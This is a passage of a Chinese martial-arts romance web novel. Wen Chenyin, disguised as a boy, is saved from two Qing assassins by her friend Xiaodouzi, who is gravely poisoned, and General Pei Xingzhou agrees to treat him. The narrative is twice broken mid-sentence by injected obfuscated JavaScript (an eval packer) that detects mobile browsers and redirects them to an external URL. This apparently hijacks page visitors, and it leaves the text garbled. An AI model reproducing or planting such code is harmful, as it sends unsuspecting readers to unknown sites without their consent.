但是方才两人在祠堂中的那番对话,不仅关联着当年的一桩惨案,还无意中泄露了燕、庆两国之间的大人物私下有所勾连的秘密。 仅凭这两点,自己就不会再有逃脱的可能。 清楚地意识到自己的结局后,温沉吟反而冷静了下来,很快便挣扎着抬起身体,看向了眼前的两个人:“你们想要杀我,我也逃不了。那临死之前,你们能不能回答我几个问题?” 那矮胖子似乎没想到她死到临头还有闲情逸致关心其他事,一时间也被勾起了好奇心:“你想问什么?” 温沉吟悄然握紧了手心,声音有些发颤:“你们刚才说到的那个曹方,他当年杀死的女人……究竟是谁?” 两人对视了一眼,似是对她的问题很是意外。 许久之后,还是那个瘦高个开口应道:“这已经是很多年前的事了,你问这个干什么?” 温沉吟紧咬着牙,一字一顿:“我就是想知道,他是不是杀害我母亲的凶手!” “你母亲?” 瘦高个愣了愣,然后很快否定了她的猜想:“据我所知,被他杀死的那个女人并没有女儿,只有一个儿子……所以你大概是搞错人了。” “什么?女儿?” 话音未落,一旁的矮胖子已经满是诧异的惊叫出声:“你是说这臭小子,其实是个丫头?” 瘦高个翻了翻眼睛,像是在嫌弃他识人不清,迟钝反应。 目光再次落向温沉吟时,脸上却再次露出了那种诡异而僵硬的笑容:“你一个小丫头,却如此有胆识,就这么死了,还真是可惜……” 温沉吟丝毫不理会他这些惺惺作态的废话,继续追问道:“你刚才说,曹方所杀之人没有女儿,可是真的?” “当然!你都已经是要死的人了,我又何必要骗你?” “那你呢?武曜十九年……也就是十年前,你可曾乔装易容,在燕国杀过一个女人?” “嗯?” 听她提到“易容乔装”,瘦高个似是吃惊,但或许认定了她是将死之人,终究还是给了她一个答案:“十年前,我因重伤在身,远渡东海,在那里修养了两年,期间从未踏足燕国。而且在那时候,我容貌未毁,就算想杀什么人,又哪里用得着易容乔装?” 他说这番话时,口吻戚戚,颇为伤感,显然被勾起了什么伤心往事。 但温沉吟满心急切之下,并无心探究其中的细节,只是再次确认道:“你说得都是实话?” 瘦高个轻声叹了叹:“我此生杀人无数,却很少杀女人!今日若非你多管闲事,听到了那些不该听到的事,我们原本也不会与你动手。” “……” 事已至此,温沉吟知道自己追查凶手的心愿已然彻底落空了。 无论是那个消失已久的杀手曹方,还是眼前这个心思深沉,笑容诡异的男人,都与母亲的死亡无关。 对方会在离开之后那样冲她微笑,大概只是因为识破了她女扮男装的真相。 自己却因为那点似是而非的证据,被卷入了眼前的死局。 思绪翻涌之间,矮胖子已经踏前一步,抽出了腰刀。 温沉吟屏息凝神,牙关紧咬,手中暗自拽紧了一把沙子,就等着临死前能最后一搏。 手中的沙子尚未抛出去,激烈的犬吠声再次响起。 紧接着,一道熟悉的身影飞奔而来,忽然出现在了她的视野中。 “哎呀!搞了半天你在这啊!我好不容易买到了绿豆糕,拿回酒楼却发现你不见了!一路问了好多人,才找到了这里。你说你就算想要走,也提前和我说一声啊!” 温沉吟心下一跳,忍不住就想提醒他赶紧跑。 然而还没来得及开口,小豆子已经一路小跑着凑到了她身前:“欸?你这是怎么了?拧到脚了吗?怎么一直赖在地上不起来?” 见她不说话,小豆子的目光落在了两个男人身上,立马挤出了一脸谄媚的笑容:“两位大哥也在啊?我刚买的绿豆糕,可好吃了!你们要不要尝一尝?” 对于这半途杀出来的程咬金,两个男人显然有些意外。 但见他那一脸状况外的模样,矮胖子不由得狞笑了起来:“既然你主动上门送死,那就怪不得旁人了!不过就冲你特意送来这绿豆糕,老子倒是可以让你死得痛快些!” 话音刚落,随着“刷”地一声轻响,腰刀的刀芒已经直直地逼向了小豆子的心口。 小豆子赫然一惊,瞬间慌了手脚,踉踉跄跄地接连后退了好几步,口中还在不忘苦苦哀求:“这位大哥,咱们有话好说,千万别动手,我若是哪里得罪了你,向你赔罪还不行么?” 见他姿势虽然狼狈,几步后退之下,却堪堪从刀芒中闪开,那矮胖子不禁有些恼怒,一时间也顾不上温沉吟,拎起腰刀疾步向前逼进。 那瘦高个却像是有些吃惊,忍不住开口提醒:“阿迟,你小心些,这小子像是有些本事,你可切莫大意了!” 对于同伴的提醒,矮胖子显然并未放在心上,依旧朝着小豆子的方向一刀刀地用力劈着。 小豆子似是吓破了胆,一路大呼小叫地抱头鼠窜,竟是和那矮胖子在祠堂前的空地上你追我逃的追逐了起来。 追逃之间,虽说哀叫声不绝,那矮胖子却始终没有占到半点便宜,温沉吟很快意识到了有什么不对劲。 原本站在一旁的瘦高个眉头也是越皱越紧,脸色微变之下,向前迈了两步,竟像是也打算加入战局。 一个五大三粗的成年人举着腰刀追杀着一个十多岁的男孩子,原本就已经胜之不武,何况从那两人的言谈举止来看,显然都是习惯了刀尖舔血的武学高手。 眼见瘦高个也要动手,温沉吟心下不忿,立马高声怒斥:“你们自诩是有头有脸的人物,欺负个小孩已经够无耻了,现在还想以多欺少,究竟还要不要脸?” 瘦高个闻言一愣,脚步顿时停在了原地。 几乎同时,随着“哧”的一声轻响,一阵血花忽然溅向空中。 温沉吟心下一惊,赶紧朝着血光的方向看去。 矮胖子的胸口不知什么时候已经被钢刀刺穿,慢慢倒在了地上。 呼吸停止之前,那张原本嚣张跋扈的脸上定格着难以置信的表情。 随着他的身影软倒在地,小豆子的惊呼声也再次响起:“这位大哥,你怎么了?怎么好端端的忽然就自杀了?人生不如意之事十有八九,你干嘛就这么想不通啊?” 面对突如其来的变故,瘦高个只觉得又惊又怒,瞬间飞身向前,挥掌朝他劈去,嘴里还怒声质问着:“你这流云踏月的步伐是跟谁学的?夜行鬼曹方是你什么人?” “什么夜行鬼?什么曹圆曹方的?大哥你究竟在说什么?我怎么都听不懂阿???” 小豆子显然还想装疯卖傻地引他漏出破绽,但这瘦高个显然比自己的同伴要沉稳得多,发现得不到自己想要的答案后,也不再问,只是专心致志地向他发起了进攻。 温沉吟虽然不会武功,然而看到现在也已经意识到,小豆子身法轻灵,步伐奇巧,闪避之间虽然狼狈,但都颇有章法,显然有奇佳的轻功底子。 只是他年纪太轻,又刚刚和那矮胖子纠缠了一阵,体力已然明显不支。 外加瘦高个全神贯注,对他不再轻视,几个来回之下,一个闪避不及,竟是被对方重重一掌拍在了胸前。 随着“咚”的一声响,他整个人已经口吐鲜血,横飞了出去,摔到在地后,挣扎了半晌也没能爬起来。 瘦高个之前轻敌大意,眼睁睁地看着同伴死在了自己眼前,心中又是伤痛,又是愤怒。 此刻将小豆子打倒在地,只觉得不够解气,紧跟着又是狠狠几脚踢了过去,这才怒声喝问道:“你究竟是什么人?这身功夫是谁教给你的!” “你不是已经猜出来了吗?还问这些有的没的干什么?” 事已至此,小豆子像是也已经没辙了,一边喘息,一边碎碎念叨:“没想到老曹这么个粗人,招式的名字取得倒是风雅,流云踏月……也亏他想得出来。早知道他有这个本事,我就让他去考状元了!” 听他终于承认自己与曹方相识,瘦高个牙关紧咬,一脚踩住了他的手掌:“曹方现在人在哪里,你若老实交代,我可以考虑饶你一命!” “真的?” 小豆子眼睛一亮,也顾不得手骨碎裂的阵阵疼痛,赶紧嘶声确认:“这可是你自己说的,我若告诉你他在哪,你就放了我?” 瘦高个恨他杀了自己的同伴,有心要将他碎尸万端,却又惦记着自己的任务,几经犹豫后,终究还是恨声表示:“少废话!你先回答我!” “行吧……” 小豆子哀声一叹,悄无声息地朝温沉吟使了个眼色:“你说的那个曹方吧……半年之前就已经来了天启城。如今便是住在……” 话刚说到这里,他像是被翻涌的气血呛到,竟是重重咳了起来。 瘦高个等了半天没等到结果,只觉有些不耐,见他气息哀哀,似是难以续力,只能俯下身子,将耳朵凑近了些:“你说他如今住在哪里?” 就在他俯身的那一瞬,小豆子忽然纵身跳起,早已偷偷伸进怀中的右手重重一扬。 随着“噗”地一声轻响,一阵紫色的浓烟瞬间弥漫,呛得人几乎睁不开眼睛。 满目模糊之间,温沉吟感觉自己的手已经被人牢牢握住,拽着她开始拼命向外跑。 激烈的心跳声中,瘦高个的怒吼声越来越远,那座杀机重重的小祠堂很快被抛在了身后。 不知跑了多久,小豆子终于放开了她的手,身体一软,在一处陋巷的转角处瘫坐了下来。 温沉吟好不容易死里逃生,只觉得心跳阵阵,几乎要跳出胸口。 但即便在如此疲惫又心惊的情况下,她也还没有忘记关注对方的情况:“你还好吗?刚才我见那人打了你一掌,如今怎么样了?” “没事没事……我是谁啊!就凭他那点本事,如何能伤到我?” “既然没事,那你和我说说你究竟是什么人?你这一身的功夫又是从哪学来的?” “嗨……你说你这人,我可是刚把你救出来欸,你怎么还怀疑上我了?” 小豆子哼哼唧唧地抱怨了一阵,见她一直紧盯着自己,知道不把话说明白,大概是混不过去了,只能哀声一叹,解释了起来:“好吧好吧,实话和你说了,我呢……其实是有家人的,只是我爹性子严苛,总爱管着我。我一直被他关在家里,实在憋得慌,外加前些日子和他赌气,这才会偷摸着溜出来的……” “这么说来,小豆子也不是你的真名?那你究竟叫什么?” “己所不欲,勿施于人……关于名字的事,你不是也从来没有告诉过我么?你若真想知道,不如你先说?” “……” 毕竟是自己隐瞒在先,见他不欲吐露真相,温沉吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221111|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不好意思再追究下去,于是只能换了个话题:“他们说的那个曹方,真的是你的师傅?” “当然不是!曹方是什么玩意,怎么配做我的师傅?” “那你这身功夫是从哪里学来的?他们为何会误会曹方是你师傅?” “关于这件事吧,说起来话就长了,这一时半会也说不完,要不咱们改天再说?” 小豆子像是有些乏了,重重喘了几口气后,朝着天空指了指:“眼下这天色也已经挺晚了,咱们都早些回家吧,不然家里人该着急了。” 虽然温沉吟并不觉得温北堂会因为她晚归而着急,但毕竟刚经历过一场生死危局,也想要早些回家。 起身之后正准备走,却发现小豆子依旧瘫在那,没有要动的意思。这让她很快也停下了脚步:“那你呢?你不走吗?” 小豆子依旧挂着笑,脸色却越来越难看,一个“我”字刚出口,忽然间猛地一口血喷了出来。 温沉吟见状大惊,也顾不上避嫌,赶紧将他抱在怀里,扯开衣服看了看。 白皙的胸膛上,一道深深的掌印印在那里,已经变成了深紫色,而且那些紫色还在不断向外扩散着。 如此触目惊心的伤痕,中掌之人必定极是痛苦。 想来对方只是为了让她宽心,才佯做无事的一直强撑着。 索性不远的地方就有家医馆,虽然已经关门闭户,但门缝里却隐隐透着光亮。 情急之下,温沉吟使着吃奶的力气将他从地上扶起,一路跌跌撞撞地走到那间医馆前,拼命敲了好一阵,才好不容易把门敲开。 医馆中人夜半被打扰,原本满是不耐,然而发现来访的病人的是个浑身是血,奄奄一息的少年后也不敢怠慢,赶紧腾出一张床安排他躺下,紧接着就把已经歇息了的大夫叫了过来。 大夫是个须发皆白的老头儿,经验看上去很是老道。 问明情况后伸手在他手上搭了一阵脉,老头脸上很快显出了无奈的神色:“这小伙子被人打伤,不仅经脉受损,而且还中了毒。眼下的情况很是凶险,凭老夫的能耐是救不了了,姑娘还是另请高明吧!” 眼下这种情况,温沉吟哪里还有时间去另请高明,于是只能拉着大夫的袖子苦苦哀求。 那老头被她死命缠着,想走又走不掉,最后只能叹了口气:“你若真想救他,倒是还有个法子可以试试……” 温沉吟眼睛一亮,只觉得看到了希望:“什么法子?” “天亮之前,你得找到一个内力深厚的习武之人心甘情愿地与他换血,他才有活下去的可能。只是吧……” “只是什么?” “只是他中毒太深,与他换血之人难免会大受损伤。一旦稍有不慎,只怕是双方都有性命之忧……” 听他这么一说,温沉吟瞬间呆立当场。 且不说内力深厚的习武之人她根本就不认识几个,即便真的找来了,对方又怎么会冒身体受损甚至性命不保的危险去救一个无亲无故之人? 一想到对方是为了救自己才会落到眼下这般地步,温沉吟的眼泪便再也止不住。 小豆子却像是没事人一般,挣扎着抬起手臂,一边轻轻擦去她脸上的泪水,一边啧啧叹了起来:“没想到那瘦子看着跟个痨病鬼似的,居然还有些功夫!之前我还真是小瞧他了。不过你也别担心,我向来福大命大,说不定睡上一觉,也就没事了……” 虽说他依旧在强作欢颜,但说话之间,气息却越发微弱。 话说到最后,一张脸已然血色尽失,虚弱得犹如白纸一般,像是下一秒就要命送当场。 温沉吟心下焦急,哪里还顾得上听他胡说八道,思绪飞转之下,她努力强迫自己镇定了下来:“你家住哪里?我先把消息送过去!你家既然有人能教得了你武功,就一定也能有人能救你性命!” “别别别!你可千万别!” 听她要惊动自己的家人,小豆子赫然一惊,紧紧拽住了她的手:“看在咱两交情上,有件事你无论如何要答应我!” “什么事?” “我爹对我满心期待,一心就怕我出门惹事!若是知道我背着他往外跑,又闯了这么大的祸,他一定会很失望的……而且教我武学之人早已不在家中,你就算找到我爹,也于事无补,又何必让他老人家烦心呢?” 温沉吟自己女扮男装偷溜进荟英堂的事始终都瞒着温北堂,自然也明白他心中的顾忌。 此刻见他满脸紧张,就怕惊动了自己的家人,无奈之下,只能连连点头:“好!我答应你,我不去找他们就是了!” 小豆子这才如释重负般吐了一口气,握着她的手也垂了下去:“如此这般,那便最好。不过我忽然想到还有一个未了的心愿,不知道你能不能帮我实现?” 他这话说得又轻又软,却带着某种真诚的期盼,犹如在交代遗言一般。 温沉吟听在耳里,只觉心下越发难过:“你还有什么心愿?” “我一直想你叫我一声哥哥,却始终没听到。如今你若是能叫一声,我就算是死,也心满意足了……” “……” 温沉吟万万没想到如此危急的关头,他竟会说出这样一番话,一时间也不知该成全他的心愿,还是该让他闭嘴。 沉默之间,她的心中忽然念头一闪,然后很快下定了决心:“你现在什么都别想,先在这休息着,我认识一个武功很好的人,现在就去找他!只能他肯出手,就一定可以救你……至于你的心愿,就先欠着,等你好了以后,我一定替你完成!” 19. 承诺 月沉星落,夜沉如水。 几个时辰之前还人声鼎沸的夜市已经收了档,只有寥寥的人影还在街头出没。 温沉吟在夜色中一路狂奔,像是要从黑暗中努力挣脱的一只幼鸟。 寒冷的夜风从她的耳边呼啸而过,吹开她的衣襟,灌入她的胸口,让她原本滚烫的心脏,也因为寒意而开始不断抽搐。 但她却什么都顾不上了。 她只想跑得快一点,再快一点,能够找到援兵,救下小豆子的性命。 然而当温府的大宅远远出现在她的视野里时,她的脚步却不由自主的顿住了。 身为朝臣之女,她虽然不像别的官家小姐一样大部分时间都呆在府中,鲜少与外人打交道,但碍于身份和社交范围,却也实在不认识什么像样的武学高手。 在她的认知的范围内,有能力救下小豆子的,大概也只有她的父亲温北堂。 可是自打母亲去世后,她与父亲之间的关系就陷入了僵局,尤其是在她不顾反对,强行为自己改名之后,父女之间的关系更是势如水火,平日就算身在同一屋檐下,也是冷眼相对,很少有主动说话的时候。 如今就算她愿意抛下尊严,苦苦哀求,以温北堂当年对母亲的薄情态度,又怎么可能冒着自损功力的风险,去救一个非亲非故且来历不明的少年? 满心彷徨之际,一队人马忽然从街道的转角处快速闪了出来。 温沉吟避让不及,眼见就要被迎面而来的那匹高大骏马撞到,电光火石之间,马背上的那个人猛地提了提缰绳。 随着一声嘶鸣,骏马前蹄抬起,竟是硬生生地在半空中转了个方向。 于此同时,有人已经厉声呵斥了起来:“什么人?大半夜地竟敢在此挡道!” 温沉吟满心惦记着的都是小豆子的伤势,无意再与旁人起争执,听到呵斥声后也不辩解,只是赶紧朝旁边避让了几步。 不料心慌意乱之下,她也来不及观察周边的情况,避让之间,忽然感觉脚下被什么东西一绊,竟是直接摔在了地上。 还没来得及起身,马背上的人已经翻身而下,快步走到她面前,一边扶住她的肩膀,一边温声二问道:“这位小兄弟,你没事吧?伤了哪里没有?” 温沉吟摇了摇头,小小声地说了句“我没事”,便很快挣扎着爬了起来。 正打算赶紧走开,对方的目光已经落在了她的脸上,声音里也带上了几分惊异:“琇琇?怎么是你?” 温沉吟赫然一惊,赶紧抬起眼睛。 眼前的男人样貌威武,气势凌人,神情里却都是关切,赫然就是正是白日间还在荟英堂里见过的虎贲将军裴行州。 同朝为官这些年,温北堂和裴行州之间虽因政见相似而彼此欣赏,但私下里的往来却并不多,因此温沉吟和他见面的机会,也只有那么寥寥几次。 但是在她的印象里,这位名满天下的虎贲将军虽然在战场上令人闻风丧胆,以铁血著称,但私下里却是个性情温和之人,即便是面对她和温珩这些小辈时,也从不摆什么架子。 曾经有一次,因为温珩贪玩,将母亲亲手制作的一只风筝挂在了院子外的大树上。 温沉吟心下不舍,想要爬上大树把它取下来,不料刚爬到一半,却撞见了与父亲一同回府商量政事的裴行州。 那时的她骑在树杈上,衣冠不整,满头大汗,丝毫没有大家闺秀应有的模样,温北堂见状只觉得丢脸,怒气横生之下,便责令她在院子里罚站。 然而亲眼目睹了她狼狈模样的裴行州却始终未曾显露半点鄙夷之意,反而一直在旁低声劝慰着。 待到半个时辰之后,裴行州办完了正事,打算离开时,却看到了她站在树底下,看着那只风筝在偷偷流泪的模样。 温沉吟自觉难堪,手忙脚乱地想要把眼泪擦干,不料对方却已经翻身跃起,将那只风筝摘了下来,递到了她手中。 温沉吟心下感激,想要出声道谢,然而看着那只已经坏掉的风筝,再想到已经故去的母亲,眼泪却止也止不住。 裴行州见状,也没着急走,而是陪在她身边,耐心安抚道:“琇琇别哭了,阿瑾那有很多风筝,都是我陪着他一起做的。若是你喜欢,改天就去我府中做客,我让阿瑾挑一个最好看的送你,好不好?” 虽然碍于对方的身份,温沉吟并因为这点小事上门打扰,但裴行州那满是温柔的模样,却就此深驻在了她的心里。 很多时候,她甚至会想,如果自己的父亲不是冷漠古板的温北堂,而是眼前这个时刻心系家人,又温柔可亲的叔叔就好了。 眼下见他认出了自己,温沉吟只觉得又是委屈,又是难过,一时间竟是连话也说不出来。 裴行州将她上下打量了一阵,见她一身男装,又满是狼狈,不禁微微皱起了眉头:“琇琇你这是怎么了?为何这么晚还不回家?是遇到什么事了吗?” 满腹心事之下,温沉吟只能摇了摇头:“我没事……” “没事就好……” 见她不欲多说,裴行州也没继续追问下去,只是柔声叮嘱道:“今夜你父亲有要事在身,大概要留值宫中。你到家之后早点歇息,别让他太担心了。” “什么?” 听闻温北堂今夜不能回家,温沉吟原本就满是不安的一颗心迅速向下坠去。 踌躇之间,眼见裴行州交代完后即将翻身上马,温沉吟将心一横,迅速挡在了他的面前:“裴叔叔,我有件事想要求你,你能帮帮我吗?” 小豆子躺在病床上,只觉得胸口的地方越来越痛,呼吸也越来越困难。 虽然温沉吟还在时,为了让她宽心,他一直都在插科打诨,装作毫不在意的样子,但他心里很清楚,自己大概是活不长了。 虽然以他如今的处境而言,死亡其实并不可怕,但却总觉得有点后悔。 之前在花灯节上,他也应该为自己的亲娘放一盏花灯祈福的。 虽然从未见过自己的母亲,但他知道,她一定是个美丽又温柔的女人。 而且他猜想母亲应该很喜欢合欢,因为他看到过花落的时候,父亲亲手将那些合欢搜集起来,供奉在母亲的灵位前。 只可惜方才逛夜市时,他却似乎没有见到合欢形状的花灯…… 想到花灯,他下意识地往怀中摸了摸,直到发现那盏叠着的小马灯依旧还在,原本满是不安的一颗心才逐渐安静了下来。 这是那个总是一脸防备的女孩送给他的,也是他人生中收到的第一份礼物。 他原本一直在烦恼着该用什么东西做回礼才好,可如今只怕也是没有机会了。 最让他遗憾的是,两人相处到现在,甚至一起经历了生死,可他竟是连对方叫什么名字都不知道。 眼下那个女孩已经走了很久了,不知道什么时候才会回来。 遇到她之前,他的生活颠沛流离,一直在欺骗和谎言中度过,既没有真心以对的朋友,也没有可以依靠撒娇的家人。 好不容易遇到一个性情相投,还主动送礼物给他的朋友,却又不得不因为生死而分别。 如果在临死之前还能见到她,那他应该会开心一点。 就是不知道到了那个时候,她肯不肯放下芥蒂,真心实意地叫自己一声哥哥…… 随着各种念头纷至沓来,小豆子只觉得眼皮越来越沉。 恍惚之间,似乎有人推开房门,脚步匆匆走到了他的床前。 但随着意识逐渐模糊,他脑袋一歪,便什么都不知道了。 温沉吟将裴行州带进那间小小的医馆时,医馆里的大夫似乎已经等得急了。 见她终于出现,老头赶紧催促了起来:“怎么样,你找到人帮忙了吗?我看那个小伙子的情况实在不太好,若是再耽误下去,只怕连天亮都撑不到了!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221112|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温沉吟紧咬着嘴唇,看向裴行州的方向,眼中满是哀求之意,却不敢替他应承下来。 她知道自己的做法实在是太冒失,也太过强人所难了。 以裴行州的身份地位,肯答应和她来到这小小的医馆里,已经是给了她天大的面子。 即便他再是平易近人,不拘小节,但身为大燕国里地位最尊崇的战将,也不可能冒着自损功力,甚至伤及性命的危险,去救一个素不相识的陌生人。 其实她原本只是希望凭借着对方的地位和影响力,能够帮忙找到一个人,救下小豆子的性命。 但如今看来,即便真的有合适的人选,时间上也已经耽误不起了。 裴行州却始终表现得很平静,认真听完大夫的话后,很快就表示:“既然如此,不妨先让我瞧瞧病人的情况,再看看如何救治?” 听他愿意帮忙,大夫也像是松了一口气,赶紧将他领到床边。 借着昏黄的烛火,裴行州凝神向床上看去。 目光落在小豆子那张惨白如纸的脸上时,他忽然身体一僵,原本从容镇定的声音也跟着颤抖了起来:“受伤的人……是他?” “是啊!” 大夫显然满心忧虑,声音里都是叹息:“我看这小哥也就十五六岁,也不知道是得罪了什么人,把他伤成这样!年纪轻轻就遭这样的罪,爹妈知道了该多心疼啊!” 没等他把话说完,裴行州已经在床头坐下,伸手探向了他的脉搏。 片刻之后,他抬起头来,脸色变得有些难看:“他是被谁打伤的,你知道么?” “知道!” 事关小豆子的性命,温沉吟不敢再有任何隐瞒,听到对方发问,赶紧一五一十地交代道:“打伤他的人是一个瘦高个,听口音像是庆国人。那个瘦高个还有一个同伴,是个身上配着黑色腰刀的矮胖子。对了,我似乎听那瘦高个叫他阿迟……” “那就是了……” 裴行州双眼微阖,轻轻叹了一口气。 眼睛再次睁开时,他已经恢复了平日的冷静和稳重:“按你的描述,我猜打伤这孩子应该是贺氏兄弟中的“无相手”贺兰。若真是如此,事情只怕是有些棘手了……” 温沉吟不明就里,却也能感受到他的为难之意,焦急之下,忍不住追问道:“无相手贺兰是什么人?被他打伤了会怎么样?” 裴行州似是有些犹豫,但最终还是耐心解释道:“贺兰与贺迟是一对亲生兄弟,一个修习毒掌,一个专练刀法,在江湖上也都是赫赫有名的人物。贺兰所习的毒掌尤其厉害,修炼时需要将双掌在毒液中反复浸泡,忍受刺骨锥心之痛。然而练成之后,不仅会让中掌之人经脉受损,还会令其身受受剧毒侵体之苦,所江湖中人对他十分忌惮……只是尚未成名之前,他因得罪了一个狠厉害的仇家而容貌尽毁,至此以后,便常年易容乔装,从不以真面目示意,因此才有了无相手这个的名头……” 说到这里,他的脸上露出了困惑之色:“只是我听闻贺氏兄弟早些年间便被庆国的暗探组织招揽,专门替朝堂和军方干一些见不得人的勾当,如今忽然跑到我燕国来干什么?” 温沉吟努力回忆道:“我听他们的意思,好像是来找一个叫曹方的人……” “曹方?” 裴行州闻言一惊,眼中似有怒意闪过。 然而没等温沉吟再问下去,他已经站起身起来:“贺氏兄弟的事暂且不提了,我看这孩子的状况,继续将他留在这里,只怕也不方便,你若信得过我,我便将他带回府中治疗如何?” 听闻他要将小豆子带回去,温沉吟又是意外,又是惊喜:“裴叔叔,你的意思是,你愿意救他,是吗?” “是!” 裴行州一边点头,一边抱起了小豆子的身体:“琇琇你别怕,就安心在家等消息。叔叔答应你,无论如何,都一定会尽力保住他的性命。” 20. 父爱 小豆子被裴行州带走之后,温沉吟没有再去过荟英堂,而是按照裴行州的交代,老老实实地呆在家中等消息。 然而随着日子一天天的过去,关于小豆子的事却再也没了动静。 前后等了半个月,温沉吟实在是急了,便主动去了裴行州的府上打探情况。 不料敲开大门之后,府中的下人却满是歉意的告诉她,裴将军因有要事在身,一大早便已经出门了。 温沉吟不清楚对方口中的“要事”是否和小豆子有关,却也不敢继续追问,显得自己太不懂事。 但要真就这么走了,她又觉得不甘心。 踌躇了许久后,她干脆在裴府附近找了一处树荫处坐下,就盼着裴行州能早点回来。 那一天,温沉吟从日头高照等到斜阳西下,一直在那棵大树下眺望着。 随着暮色渐深,周围的景象都逐渐变得模糊,她才满是失望地站起身来,准备打道回府。 刚走了没多久,一阵急促的马蹄声忽然远远传来由来。 凝神细看之下,那个盼望已久的熟悉身影骑在高大的骏马上,终于出现在了她的视野中。 温沉吟心下大喜,赶紧一路小跑着迎了过去。 眼见有人挡道,对方赶紧勒住缰绳,姿态潇洒地从马背上一跃而下,语气中还带上了轻微的责备:“琇琇,都这么晚了,你怎么会在这?” 温沉吟的问题早已到了嘴边,然而四目相对之下,只见他面容疲惫,神情憔悴,显然这段日子过得并不轻松,一时间那些心心念念的问题竟不知如何问出口。 半晌之后,她才勉强哼了个声音出来:“裴叔叔这么晚才回来,是因为有公务在身吗?如果实在不方便,我就先不打扰了……” “没什么不方便的。只是今天是我夫人的忌日,我出城去她坟前祭拜,所以才回来迟了些。” “原来如此……” 温沉吟闻言只觉得满心酸涩,不由得一边应声,一边默默将头低下了。 虽然她出生时,裴行州的夫人虞澜婴已然过世,以至于她从未得见,但从旁人的言谈之中,她却知道这对夫妇自成婚以来就一直琴瑟和鸣,感情极好。 时至当下,虞澜婴离世已有十六年之久,裴行州却从未有过再娶他人的念头。 不仅如此,每逢虞澜婴的忌日,他都会备上她喜欢的酒水吃食,前往她的坟前祭拜,然后坐于墓前,和她说上许久的知心话。 那种亲近又温馨的场面,就像是对方从未从自己的身边离开过一般。 比起自家父亲的薄情寡义,裴行州对待亡妻的一片痴心,是如此难能可贵。 她又怎么能在这样一个特殊的日子里,用一些无关紧要的事,去打扰他呢? 她虽不再说话,裴行州却似是看出了她的心思,很快笑了起来:“琇琇一直等在这,是想知道那位小朋友的情况吗?” 温沉吟这才小心翼翼地点了点头。 而裴行州的答案也没有让她失望:“你放心,多亏有你顾伯伯帮忙,听说消息后就送了很多珍贵的药材过来,又时时前来照看,如今他性命已然无碍,只需在调养几日,就能下床了。我本是想等他彻底康复后在将消息告诉你,没想到你却是先过来了……” 一个来历不明的小男孩,能让大燕国最具盛名的两名武将倾力相救,这本身就是一件令人侧目之事。 只是当时的温沉吟满心喜悦之下,已经无暇顾忌这其中的种种不合常理的部分:“既然他已性命无碍,那我可以去见见他么?” 裴行州看着她,口气越发温和:“在回答这个问题之前,你能不能先告诉我,你和那位小朋友,究竟是怎么认识的?” 想到小豆子当初的叮嘱,温沉吟心中只觉犹豫:“关于这件事……你没问过他吗?” “问了,但是他没告诉我。” 裴行州像是有些无奈,脸上却还是带着笑:“你的那位小朋友,性子可倔得很,说是此事涉及到你的秘密,所以无论我怎么问,他都不愿说。但我既然救了他,有些事总得弄清楚,所以想来想去,就只能来问你了。” 虽然对于温沉吟而言,女扮男装私闯荟英堂之事是个不便与告知外人的秘密,依照裴行州的品性,她若坚持隐瞒,对方大概也不会苦苦相逼。 可是眼前的男人是那么温柔亲切,又曾经不问因果,只凭她的几句哀求,就仗义出手救下了小豆子的性命。 她再是有什么顾忌,却也不愿再对他有所隐瞒。 于是在短暂地犹豫后,她还是老老实实地道出了实情。 将两人相识的机缘坦白之前,温沉吟原本已经做好了被数落,被斥责,甚至被惩罚的准备,毕竟身为朝臣之女,无论是私闯他人宅院,还是和那种身份不明的江湖人士交朋友,都是大失身份之事。 不料整个故事听完之后,裴行州却只是笑了笑:“听你这么说,你俩之间也算是难得缘分了。只是我想知道,如果不是为了见他,只是为了学东西,你还愿意继续去荟英堂吗?” “当然!” “那就好……” 听到她铿锵有力的回答,裴行州满是欣慰的点了点头:“既是如此,以后你便和温珩一同去吧,这样也就不用再偷偷摸摸地爬墙钻洞了。至于你的那位朋友……到了合适的时候,我定会带他来见你的!” 温沉吟闻言大惊,一时间竟是连与小豆子见面的事都顾不上了。 愣了半晌,她才嗫嗫问道:“裴叔叔,荟英堂不是不收女弟子吗?我若是去了,岂不是会让你为难?” “有什么为难的?” 见她满是疑虑,裴行州干脆袍角一掀,在她身旁坐了下来:“世间女子,多有杰出之辈。只要存有报国之心与济世救人之志,又与男儿有何不同?说起来,像你这样大胆的女孩子,之前我也曾经遇到过一个……” 那一晚,裴行州与她并肩坐在裴府前的那棵大槐树下,耐心地和她聊了很久。 也直到那个时候,温沉吟才知道了一直让他难以忘怀的那段少年往事。 武曜七年,裴行州刚满二十岁。 因听闻莫岐山一带时常有流寇出没,不断烧杀淫掠,对当地居民的日常生活造成了莫大的困扰,他便与自己的好友顾正庭一起主动请缨,前去平寇。 不料率军到了当地,他很快便发现莫岐山一带阴冷潮湿,环境异常恶劣。不仅有时常有蛇鼠毒虫出没,山林间更是充斥着大量的毒瘴。 流寇们常年在当地生活,对环境非常熟悉。在听闻平寇的军队到来后,便早早躲进了山里,想要利用那些天然的屏障逼得他们不战而退。 裴行州虽说天纵英才,心思缜密,但面对这种特殊的环境,一时间也无计可施。 时间一久,眼见战役尚未正式打响,士兵们却已经患病的患病,中毒的中毒,一个接一个的接连倒下,他的心中也越发焦急。 